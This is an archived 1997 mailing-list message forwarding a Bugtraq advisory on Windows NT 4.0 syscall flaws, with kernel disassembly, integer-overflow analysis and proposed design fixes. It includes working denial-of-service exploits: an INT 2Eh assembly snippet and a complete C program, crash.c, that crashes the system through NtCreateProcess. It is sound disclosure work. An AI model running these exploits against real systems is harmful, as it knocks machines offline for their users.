httpd-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Brian Behlendorf <>
Subject WinNT syscalls insecurity
Date Sun, 19 Oct 1997 02:22:48 GMT


>Approved-By: aleph1@UNDERGROUND.ORG
>X-Mailer: ELM [version 2.4 PL25]
>Date: 	Sun, 19 Oct 1997 04:02:34 -0300
>Reply-To: Solar Designer <solar@FALSE.COM>
>Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
>From: Solar Designer <solar@FALSE.COM>
>Subject:      WinNT syscalls insecurity
>In this message, I'm going to describe several problems with the way WinNT
>syscalls are implemented. I will only be talking about DoS attacks now (of
>course, there're similar problems that allow gaining extra access, too). I
>admit the problems are not too serious since most people think NT is not too
>stable anyway. However, Microsoft put a lot of code into the NT kernel to
>protect against such attacks. Also, NT can't be considered a replacement for
>UNIX when any user allowed to run programs (possibly remotely) can halt the
>entire system.
>Some of the problems described here apply to other systems also. I suggest
>that kernel developers read this message even if they aren't using NT.
>1. Introduction.
>Here's some [already known] information to make sure everyone understands
>the stuff I'll be talking about. More information can be found at sites
>The NT kernel is located in NTOSKRNL.EXE, while KERNEL32.DLL is just like
>libc in UNIX (it runs at user level). There's also NTDLL.DLL (running at
>user level, too) which got simple functions that do the actual syscalls
>and are called by KERNEL32.DLL larger functions. Syscalls are done via INT
>2Eh, the syscall number is passed in EAX, while EDX points to stack frame
>with parameters.
>2. The stack frame.
>All the syscall parameters are passed via the stack frame. Since the user
>program could put any address (possibly invalid) in EDX, the kernel should
>check if the parameters are readable before trying to use them. This is
>done by copying the stack frame into a buffer allocated on kernel stack,
>and handling the faults at this instruction a different way. Here's the
>syscall entry code (all addresses in this message are for NTOSKRNL from
>NT 4.0 build 1381):
>8013B4DF                 mov     esi, edx        ; params in user space
>8013B4E1                 mov     ebx, [edi+0Ch]
>8013B4E4                 xor     ecx, ecx
>8013B4E6                 mov     cl, [eax+ebx]   ; params size
>8013B4E9                 mov     edi, [edi]
>8013B4EB                 mov     ebx, [edi+eax*4] ; handler
>8013B4EE                 sub     esp, ecx        ; space for the copy
>8013B4F0                 shr     ecx, 2          ; params count
>8013B4F3                 mov     edi, esp        ; copy buffer
>8013B4F5 copyin_move:                            ; DATA XREF: _text:8013E59Ao
>8013B4F5                 rep movsd
>8013B4F7                 call    ebx
>8013B4F9 copyin_fault:                           ; DATA XREF: _text:8013E5B0o
>And the relevant part of page fault handler:
>8013E59A copyin_check:                           ; CODE XREF: _text:8013E54Fj
>8013E59A                 mov     ecx, offset copyin_move
>8013E59F                 cmp     [ebp+68h], ecx
>8013E5A2                 jnz     short loc_8013E5C4
>8013E5B0                 mov     dword ptr [ebp+68h], offset copyin_fault
>8013E5B7                 mov     eax, 0C0000005h ; NT status: access denied
>If a page fault occurs at 'rep movsd', the fault handler will set NT status
>and skip calling the syscall handler. This approach (which is widely used in
>UNIX, too) would work just fine if properly implemented. Unfortunately, it's
>One of the problems is that it is possible to get a general protection fault
>instead of a page fault by accessing a 4 byte word at addresses 0FFFFFFFDh
>to 0FFFFFFFFh. The exploit can be (in a native Win32 application):
>xor eax,eax     ; any valid syscall number that has at least one parameter
>mov edx,-1      ; an invalid address to cause a GPF
>int 2Eh         ; Blue Screen, wait for the admin to push the reset button
>The other problem is that some page faults are completely legal since they
>are used to implement virtual memory. That's why the page fault handler
>checks for these first. Unfortunately, if it detects a page fault outside
>of the paged area, it calls KeBugCheck (the Blue Screen stuff) immediately,
>before copyin_check has a chance to execute. This can be exploited with
>addresses like 0F0000000h.
>3. Other pointers.
>Unlike UNIX syscalls, most NT ones have to accept at least one pointer from
>the user space (not counting the stack frame pointer described above). The
>reason is that the only way for syscalls to return a value (other than NT
>status) is writing it to a supplied buffer. For example, NtOpenFile accepts
>a pointer to where it can store the file handle.
>There're lots more syscalls in NT, compared to UNIX. For example, when I was
>looking for a way to execute a program with syscalls only (to improve my
>shellcode), I started with figuring out the NtCreateProcess parameters (and
>occasionally found a hole in it [Blue Screen on some invalid file handles
>due to accessing fields in a structure referenced by a NULL pointer]). Then
>it turned out I have to open the file manually first, do NtCreateSection,
>and the DLL initialization. After that (and some other tricks) there's one
>more syscall to start the thread. The relevant KERNEL32 (think: libc) code
>is several kilobytes large, which is definitely not suitable for shellcode,
>so I had to give up.
>In NT, user space pointers are valid in the kernel. This makes it easy to
>forget to do the necessary checking in some syscall. Combined with the large
>number of such pointers, this means there are some such holes (some of them
>may be writes, which means a possibility for gaining extra privilege).
>For some unknown reason, the syscalls don't use the copy-and-catch-faults
>approach described above for pointers other than the stack frame one. They
>check the address manually instead, and access the memory without copying.
>This leaves another possibility for bugs: it is easy to check less bytes
>than are accessed in reality. Read more about it below.
>4. Integer overflows.
>Let's look at a typical address range check (there're lots of them in NT
>kernel), and the way the memory is accessed afterwards:
>80132F4D addr_check:                             ; CODE XREF: _text:80132F44j
>80132F4D                 lea     ecx, [eax+esi*4] ; end = start + count * 4
>80132F50                 cmp     ecx, eax
>80132F52                 jb      short addr_overflow ; end < start
>80132F54                 cmp     ecx, 7FFF0000h
>80132F5A                 jbe     short addr_okay
>80132F5C addr_overflow:                          ; CODE XREF: _text:80132F52j
>80132F5C                 call    ExRaiseAccessViolation
>80132F61 addr_okay:                              ; CODE XREF: _text:80132F5Aj
>80132F61                 xor     edi, edi        ; zero
>80132F63                 mov     [ebp-28h], edi
>80132F66                 mov     eax, [ebp+0Ch]  ; the same thing
>80132F69                 lea     edx, [eax+edi*4] ; src
>80132F6C                 lea     ecx, [ebp+edi*4-34Ch] ; dst
>80132F73                 mov     eax, esi        ; count
>80132F75                 sub     eax, edi
>80132F77 addr_loop:                              ; CODE XREF: _text:80132F85j
>80132F77                 mov     edi, [edx]      ; *dst++ = *src++ >> 2
>80132F79                 shr     edi, 2
>80132F7C                 mov     [ecx], edi
>80132F7E                 add     edx, 4
>80132F81                 add     ecx, 4
>80132F84                 dec     eax             ; while (--count)
>80132F85                 jnz     short addr_loop
>Fortunately, there're checks for possible overflows at the addition (start +
>size). However, there's no check for the multiplication (count * 4). In this
>particular case we're lucky since the count was tested to be <= 64 above the
>piece of code I quoted, otherwise we would have a buffer overflow also.
>[ In reality, we do have the buffer overflow (only useful as a DoS attack)
>since some other code which I didn't quote here jumps to addr_okay if count
>is zero, which effectively means looping 2^32 times. This is not the topic
>of this message though. ]
>However, in some other checks, there may be no check for count before the
>address range check. In this example the count <= 64 check (BTW, unsigned)
>was far above this range check, so I assume it is outside of the range check
>macro in the sources. I'm just too lazy to search for another example with
>both a loop while (--count) and multiplication in the check. ;-)
>Similar potential problems are with ProbeForWrite function which is used by
>many syscalls. This function accepts the size in bytes, and there're calls
>like this:
>8019BEC9                 mov     eax, [esi]      ; size = buf->header.count
>8019BECB                 imul    eax, 0Ch        ; size *= sizeof(entry)
>8019BECE                 add     eax, 8          ; size +=
>8019BED1                 push    4
>8019BED3                 push    eax             ; size
>8019BED4                 push    esi             ; buf
>8019BED5                 call    ProbeForWrite
>If buf->header.count is, for example, 0x80000000, this call will verify 8
>bytes. Depending on how lucky we are (possible other checks and the way the
>memory is accessed afterwards), we may or may not have a security hole.
>5. Other holes.
>Normally NT syscalls are only called by KERNEL32 functions. They're rarely
>called with invalid parameters even by buggy programs being developed on an
>NT box.
>For example, a buggy program could call WinExec (located in KERNEL32) with
>an invalid file name. However, no program would call NtCreateProcess with an
>invalid file handle, since NtCreateProcess is only called by KERNEL32 a few
>syscalls after NtOpenFile, both done from the same KERNEL32 function.
>This makes me think many syscalls won't process invalid parameters correctly
>(that is, just set NT status and exit). Some will likely crash the system. I
>suspect a program doing random syscalls with random parameters would crash
>the system quite fast, should try some day. ;^)
>Here goes the NtCreateProcess exploit, compile with Cygwin32, the GCC port:
>--- crash.c starts here ---
>struct exec_params1 {
>        char *unknown1, *unicode, *unknown2;
>struct exec_params1 params1 = {
>        NULL,
>        NULL,
>        NULL
>struct exec_params2 {
>        struct exec_params1 *params1;
>        int mask;
>        int unknown1, unknown2, unknown3;
>        int handle;
>        int unknown4, unknown5;
>struct exec_params2 params2 = {
>        &params1,
>        0x1f0fff,
>        0,
>        -1,
>        1,
>        0x100,
>        0,
>        0
>main() {
>        for (params2.handle = 0x80; params2.handle < 0x90; params2.handle++)
>        asm(
>                "movl $0x1f,%%eax\n"
>                "leal %0,%%edx\n"
>                "int $0x2e"
>                :
>                : "m" (params2)
>                : "ax", "cx", "bx", "dx", "si", "di", "cc"
>        );
>--- crash.c ends here ---
>6. Conclusion.
>A good syscall implementation should make it hard to make bugs. NT's doesn't.
>For example, segment base addresses for user and kernel segments could be
>made different to make sure no kernel developer forgets to put extra code
>for every pointer imported from user space. The extra addition instruction
>doesn't cost much for the performance.
>Another thing that could be done is two functions, copyin() and copyout(),
>to both copy data in/out of the kernel and do the checking (catching the
>faults). This would make it impossible to check less bytes than are accessed,
>even if an integer overflow occurs.
>The number of pointers in syscall parameters could be reduced, for example,
>by adding a return value in a register. NTDLL.DLL, running at user level,
>could put it where needed, so the NTDLL's function would still return NT
>status as it does now.
>Until Microsoft does at least some of these things, it is safe to assume
>that any user can crash an NT box. Fixing particular holes only won't do
>much since there're just too many opportunities for bugs.
>Solar Designer
"it's a big world, with lots of records to play." - sig

View raw message